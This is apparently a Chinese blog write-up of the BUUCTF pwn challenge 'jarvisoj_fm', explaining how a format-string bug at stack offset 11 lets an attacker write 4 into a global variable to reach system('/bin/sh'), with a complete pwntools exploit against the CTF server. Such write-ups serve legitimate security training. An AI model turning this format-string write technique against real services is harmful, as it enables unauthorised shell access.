[BUUCTF]PWN——jarvisoj_fm

jarvisoj_fm

附件

步骤:

  1. 例行检查,32位,开启了canary和nx保护
    在这里插入图片描述

  2. 运行一下程序,看看大概的情况 在这里插入图片描述

  3. 32位ida载入,shift+f12检索程序里的字符串,看见了 " /bin/sh " 字符串
    在这里插入图片描述

  4. 双击跟进,找到程序主体,当x=4的时候会执行system(/bin/sh)
    在这里插入图片描述
    第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
    x_addr=0x804A02C
    在这里插入图片描述

  5. 来找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11
    在这里插入图片描述
    利用x的地址配合上%11$n 将x修改为4

payload=p32(x_addr)+"%11$n"

稍微解释一下payload,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

完整exp

from pwn import *

r=remote('node3.buuoj.cn',25582)
x_addr=0x804A02C

payload=p32(x_addr)+"%11$n"

r.sendline(payload)

r.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值